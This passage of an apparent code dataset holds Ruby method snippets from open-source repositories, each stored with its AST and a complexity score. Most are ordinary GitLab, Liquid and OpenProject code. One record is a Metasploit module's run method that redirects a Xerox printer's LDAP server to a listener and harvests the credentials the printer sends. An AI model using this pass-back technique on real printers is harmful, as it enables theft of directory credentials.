\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"delete_email_logs_after_days\"]},\"to_i\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE name = 'delete_rejected_email_after_days'\\n\"]}]}]},null]}]}]}","id":"d25dd7f9-6aed-4690-8512-b39bb4bf5280"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb","start_line":44,"raw_source":"def run\n    print_status(\"Attempting to extract LDAP username and password...\")\n\n    @auth_cookie = default_page\n    if @auth_cookie.blank?\n      print_status(\"Unable to get authentication cookie from #{rhost}\")\n      return\n    end\n\n    status = login\n    return unless status\n\n    status = ldap_server_info\n    return unless status\n\n    status = update_ldap_server\n    return unless status\n\n    start_listener\n    unless @data\n      print_error(\"Failed to start listiner or the printer did not send us the creds. :(\")\n      status = restore_ldap_server\n      unless status\n        print_error(\"Failed to restore old LDAP server. Please manually restore\")\n      end\n      return\n    end\n\n    status = restore_ldap_server\n    return unless status\n\n    ldap_binary_creds = @data.scan(/(\\w+\\\\\\w+).\\s*(.+)/).flatten\n    ldap_creds = \"#{ldap_binary_creds[0]}:#{ldap_binary_creds[1]}\"\n\n    # Woot we got creds so lets save them.#\n    print_good(\"The following creds were capured: #{ldap_creds}\")\n    loot_name = 'ldap.cp.creds'\n    loot_type = 'text/plain'\n    loot_filename = 'ldap-creds.text'\n    loot_desc = 'LDAP Pass-back Harvester'\n    p = store_loot(loot_name, loot_type, datastore['RHOST'], @data, loot_filename, loot_desc)\n    print_good(\"Credentials saved in: #{p}\")\n\n    register_creds('ldap', rhost, @ldap_port, ldap_binary_creds[0], ldap_binary_creds[1])\n  end","complexity_score":49.75,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Attempting to extract LDAP username and password...\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@auth_cookie\",{\"type\":\"send\",\"children\":[null,\"default_page\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@auth_cookie\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to get authentication cookie from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[null,\"login\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[null,\"ldap_server_info\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[null,\"update_ldap_server\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"start_listener\"]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to start listiner or the printer did not send us the creds. :(\"]}]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[null,\"restore_ldap_server\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to restore old LDAP server. Please manually restore\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[null,\"restore_ldap_server\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"ldap_binary_creds\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\\\\w+\\\\\\\\\\\\w+).\\\\s*(.+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ldap_creds\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_binary_creds\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_binary_creds\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The following creds were capured: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_creds\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_name\",{\"type\":\"str\",\"children\":[\"ldap.cp.creds\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_type\",{\"type\":\"str\",\"children\":[\"text/plain\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_filename\",{\"type\":\"str\",\"children\":[\"ldap-creds.text\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_desc\",{\"type\":\"str\",\"children\":[\"LDAP Pass-back Harvester\"]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"lvar\",\"children\":[\"loot_name\"]},{\"type\":\"lvar\",\"children\":[\"loot_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]},{\"type\":\"ivar\",\"children\":[\"@data\"]},{\"type\":\"lvar\",\"children\":[\"loot_filename\"]},{\"type\":\"lvar\",\"children\":[\"loot_desc\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Credentials saved in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_creds\",{\"type\":\"str\",\"children\":[\"ldap\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"ivar\",\"children\":[\"@ldap_port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_binary_creds\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_binary_creds\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"0c582c01-690d-4a9a-8d5e-452e1dd7e199"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/fixtures/development/17_cycle_analytics.rb","start_line":182,"raw_source":"def seed_staging_stage!\n    merge_requests.each do |merge_request|\n      first_deployed_to_production_at = merge_request.metrics.merged_at + MAX_DURATIONS[:deployment].hours\n      merge_request.metrics.update!(\n        first_deployed_to_production_at: within_end_time(first_deployed_to_production_at)\n      )\n    end\n  end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"seed_staging_stage!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_requests\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"first_deployed_to_production_at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"metrics\"]},\"merged_at\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAX_DURATIONS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"deployment\"]}]},\"hours\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"metrics\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_deployed_to_production_at\"]},{\"type\":\"send\",\"children\":[null,\"within_end_time\",{\"type\":\"lvar\",\"children\":[\"first_deployed_to_production_at\"]}]}]}]}]}]}]}]}","id":"d94a9a69-4987-4cfb-a819-a403a8b7daa0"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/profiler_test.rb","start_line":123,"raw_source":"def test_profiling_multiple_renders\n    with_custom_tag('sleep', SleepTag) do\n      context = Liquid::Context.new\n      t = Liquid::Template.parse(\"{% sleep 0.001 %}\", profile: true)\n      context.template_name = 'index'\n      t.render!(context)\n      context.template_name = 'layout'\n      first_render_time = context.profiler.total_time\n      t.render!(context)\n\n      profiler = context.profiler\n      children = profiler.children\n      assert_operator(first_render_time, :>=, 0.001)\n      assert_operator(profiler.total_time, :>=, 0.001 + first_render_time)\n      assert_equal([\"index\", \"layout\"], children.map(&:template_name))\n      assert_equal([nil, nil], children.map(&:code))\n      assert_equal(profiler.total_time, children.map(&:total_time).reduce(&:+))\n    end\n  end","complexity_score":43.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_profiling_multiple_renders\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_custom_tag\",{\"type\":\"str\",\"children\":[\"sleep\"]},{\"type\":\"const\",\"children\":[null,\"SleepTag\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"context\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Context\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{% sleep 0.001 %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"profile\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"template_name=\",{\"type\":\"str\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"render!\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"template_name=\",{\"type\":\"str\",\"children\":[\"layout\"]}]},{\"type\":\"lvasgn\",\"children\":[\"first_render_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"profiler\"]},\"total_time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"render!\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"lvasgn\",\"children\":[\"profiler\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"profiler\"]}]},{\"type\":\"lvasgn\",\"children\":[\"children\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profiler\"]},\"children\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"lvar\",\"children\":[\"first_render_time\"]},{\"type\":\"sym\",\"children\":[\">=\"]},{\"type\":\"float\",\"children\":[0.001]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profiler\"]},\"total_time\"]},{\"type\":\"sym\",\"children\":[\">=\"]},{\"type\":\"send\",\"children\":[{\"type\":\"float\",\"children\":[0.001]},\"+\",{\"type\":\"lvar\",\"children\":[\"first_render_time\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"index\"]},{\"type\":\"str\",\"children\":[\"layout\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"template_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profiler\"]},\"total_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"total_time\"]}]}]},\"reduce\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"+\"]}]}]}]}]}]}]}","id":"08866ad1-45cf-4614-83e4-b32ca003c558"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/graphql_triggers.rb","start_line":122,"raw_source":"def self.user_merge_request_updated(user, merge_request)\n    GitlabSchema.subscriptions.trigger(:user_merge_request_updated, { user_id: user.to_gid }, merge_request)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user_merge_request_updated\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitlabSchema\"]},\"subscriptions\"]},\"trigger\",{\"type\":\"sym\",\"children\":[\"user_merge_request_updated\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"to_gid\"]}]}]},{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]}]}","id":"7ea28691-884f-479b-ba39-3554675debc0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240503173159_create_user_audit_events.rb","start_line":10,"raw_source":"def up\n    execute <<-SQL\n      CREATE TABLE IF NOT EXISTS user_audit_events (\n        id BIGINT NOT NULL DEFAULT nextval('shared_audit_event_id_seq'),\n        created_at TIMESTAMP WITH TIME ZONE NOT NULL,\n        user_id BIGINT NOT NULL,\n        author_id BIGINT NOT NULL,\n        target_id BIGINT,\n        event_name TEXT,\n        details TEXT,\n        ip_address INET,\n        author_name TEXT,\n        entity_path TEXT,\n        target_details TEXT,\n        target_type TEXT,\n        CHECK (char_length(event_name) <= 255),\n        CHECK (char_length(author_name) <= 255),\n        CHECK (char_length(entity_path) <= 5500),\n        CHECK (char_length(target_details) <= 5500),\n        CHECK (char_length(target_type) <= 255),\n        PRIMARY KEY (id, created_at)\n      ) PARTITION BY RANGE (created_at);\n    SQL\n\n    # rubocop:disable Migration/AddIndex -- cannot create index on partitioned table concurrently\n    add_index :user_audit_events, [:author_id, :created_at, :id], name: AUTHOR_ID_CREATED_AT_ID_INDEX\n    add_index :user_audit_events, [:user_id, :author_id, :created_at, :id],\n      name: USER_ID_AUTHOR_ID_CREATED_AT_ID_INDEX, order: { id: :desc }\n    add_index :user_audit_events, [:user_id, :created_at, :id], name: USER_ID_CREATED_AT_ID_INDEX\n    # rubocop:enable Migration/AddIndex\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      CREATE TABLE IF NOT EXISTS user_audit_events (\\n\"]},{\"type\":\"str\",\"children\":[\"        id BIGINT NOT NULL DEFAULT nextval('shared_audit_event_id_seq'),\\n\"]},{\"type\":\"str\",\"children\":[\"        created_at TIMESTAMP WITH TIME ZONE NOT NULL,\\n\"]},{\"type\":\"str\",\"children\":[\"        user_id BIGINT NOT NULL,\\n\"]},{\"type\":\"str\",\"children\":[\"        author_id BIGINT NOT NULL,\\n\"]},{\"type\":\"str\",\"children\":[\"        target_id BIGINT,\\n\"]},{\"type\":\"str\",\"children\":[\"        event_name TEXT,\\n\"]},{\"type\":\"str\",\"children\":[\"        details TEXT,\\n\"]},{\"type\":\"str\",\"children\":[\"        ip_address INET,\\n\"]},{\"type\":\"str\",\"children\":[\"        author_name TEXT,\\n\"]},{\"type\":\"str\",\"children\":[\"        entity_path TEXT,\\n\"]},{\"type\":\"str\",\"children\":[\"        target_details TEXT,\\n\"]},{\"type\":\"str\",\"children\":[\"        target_type TEXT,\\n\"]},{\"type\":\"str\",\"children\":[\"        CHECK (char_length(event_name) <= 255),\\n\"]},{\"type\":\"str\",\"children\":[\"        CHECK (char_length(author_name) <= 255),\\n\"]},{\"type\":\"str\",\"children\":[\"        CHECK (char_length(entity_path) <= 5500),\\n\"]},{\"type\":\"str\",\"children\":[\"        CHECK (char_length(target_details) <= 5500),\\n\"]},{\"type\":\"str\",\"children\":[\"        CHECK (char_length(target_type) <= 255),\\n\"]},{\"type\":\"str\",\"children\":[\"        PRIMARY KEY (id, created_at)\\n\"]},{\"type\":\"str\",\"children\":[\"      ) PARTITION BY RANGE (created_at);\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"user_audit_events\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"AUTHOR_ID_CREATED_AT_ID_INDEX\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"user_audit_events\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"USER_ID_AUTHOR_ID_CREATED_AT_ID_INDEX\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"user_audit_events\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"USER_ID_CREATED_AT_ID_INDEX\"]}]}]}]}]}]}","id":"42190f96-d3fe-4650-af5b-02b2147a6195"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/emails/issues.rb","start_line":5,"raw_source":"def new_issue_email(recipient_id, issue_id, reason = nil)\n      setup_issue_mail(issue_id, recipient_id)\n\n      mail_new_thread(\n        @issue,\n        issue_thread_options(\n          @issue.author_id,\n          reason,\n          confidentiality: @issue.confidential?\n        )\n      )\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"new_issue_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recipient_id\"]},{\"type\":\"arg\",\"children\":[\"issue_id\"]},{\"type\":\"optarg\",\"children\":[\"reason\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setup_issue_mail\",{\"type\":\"lvar\",\"children\":[\"issue_id\"]},{\"type\":\"lvar\",\"children\":[\"recipient_id\"]}]},{\"type\":\"send\",\"children\":[null,\"mail_new_thread\",{\"type\":\"ivar\",\"children\":[\"@issue\"]},{\"type\":\"send\",\"children\":[null,\"issue_thread_options\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@issue\"]},\"author_id\"]},{\"type\":\"lvar\",\"children\":[\"reason\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidentiality\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@issue\"]},\"confidential?\"]}]}]}]}]}]}]}","id":"c67ebb2a-6eef-411b-97f1-ff7e20defa53"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/controllers/storages/admin/project_storages_controller.rb","start_line":106,"raw_source":"def update\n    service_result = ::Storages::ProjectStorages::UpdateService\n                       .new(user: current_user, model: @object)\n                       .call(permitted_storage_settings_params)\n\n    if service_result.success?\n      @project_storage = service_result.result\n      flash[:notice] = I18n.t(:notice_successful_update)\n      redirect_to_project_storages_path_with_oauth_access_grant_confirmation(@project_storage.storage)\n    else\n      @project_storage = @object\n      render \"/storages/project_settings/edit\"\n    end\n  end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Storages\"]},\"ProjectStorages\"]},\"UpdateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@object\"]}]}]}]},\"call\",{\"type\":\"send\",\"children\":[null,\"permitted_storage_settings_params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"success?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project_storage\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_update\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to_project_storages_path_with_oauth_access_grant_confirmation\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project_storage\"]},\"storage\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project_storage\",{\"type\":\"ivar\",\"children\":[\"@object\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"/storages/project_settings/edit\"]}]}]}]}]}]}","id":"bc6ea3ab-ce91-4891-8d05-e1b3b7e8e4ea"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/controllers/bim/ifc_models/ifc_models_controller.rb","start_line":81,"raw_source":"def direct_upload_finished\n        id = request.params[:key].scan(/\\/file\\/(\\d+)\\//).flatten.first\n        attachment = Attachment.pending_direct_upload.where(id:).first\n        if attachment.nil? # this should not happen\n          flash[:error] = \"Direct upload failed.\"\n          redirect_to action: :new\n          return\n        end\n\n        params = {\n          title: session[:pending_ifc_model_title],\n          project: @project,\n          ifc_attachment: attachment,\n          is_default: session[:pending_ifc_model_is_default]\n        }\n\n        new_model = true\n        if session[:pending_ifc_model_ifc_model_id]\n          ifc_model = Bim::IfcModels::IfcModel.find_by id: session[:pending_ifc_model_ifc_model_id]\n          new_model = false\n\n          service_result = ::Bim::IfcModels::UpdateService\n                               .new(user: current_user, model: ifc_model)\n                               .call(params.with_indifferent_access)\n        else\n          service_result = ::Bim::IfcModels::CreateService\n                               .new(user: current_user)\n                               .call(params.with_indifferent_access)\n\n        end\n        @ifc_model = service_result.result\n\n        session.delete :pending_ifc_model_title\n        session.delete :pending_ifc_model_is_default\n        session.delete :pending_ifc_model_ifc_model_id\n\n        if service_result.success?\n          ::Attachments::FinishDirectUploadJob.perform_later attachment.id,\n                                                             allowlist: false\n\n          flash[:notice] = if new_model\n                             t(\"ifc_models.flash_messages.upload_successful\")\n                           else\n                             t(:notice_successful_update)\n                           end\n\n          redirect_to action: :index\n        else\n          attachment.destroy\n\n          flash[:error] = service_result.errors.full_messages.join(\" \")\n\n          redirect_to action: :new\n        end\n      end","complexity_score":79.1,"ast_json":"{\"type\":\"def\",\"children\":[\"direct_upload_finished\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/file/(\\\\d+)/\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"attachment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Attachment\"]},\"pending_direct_upload\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"Direct upload failed.\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"new\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pending_ifc_model_title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ifc_attachment\"]},{\"type\":\"lvar\",\"children\":[\"attachment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_default\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pending_ifc_model_is_default\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_model\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pending_ifc_model_ifc_model_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lv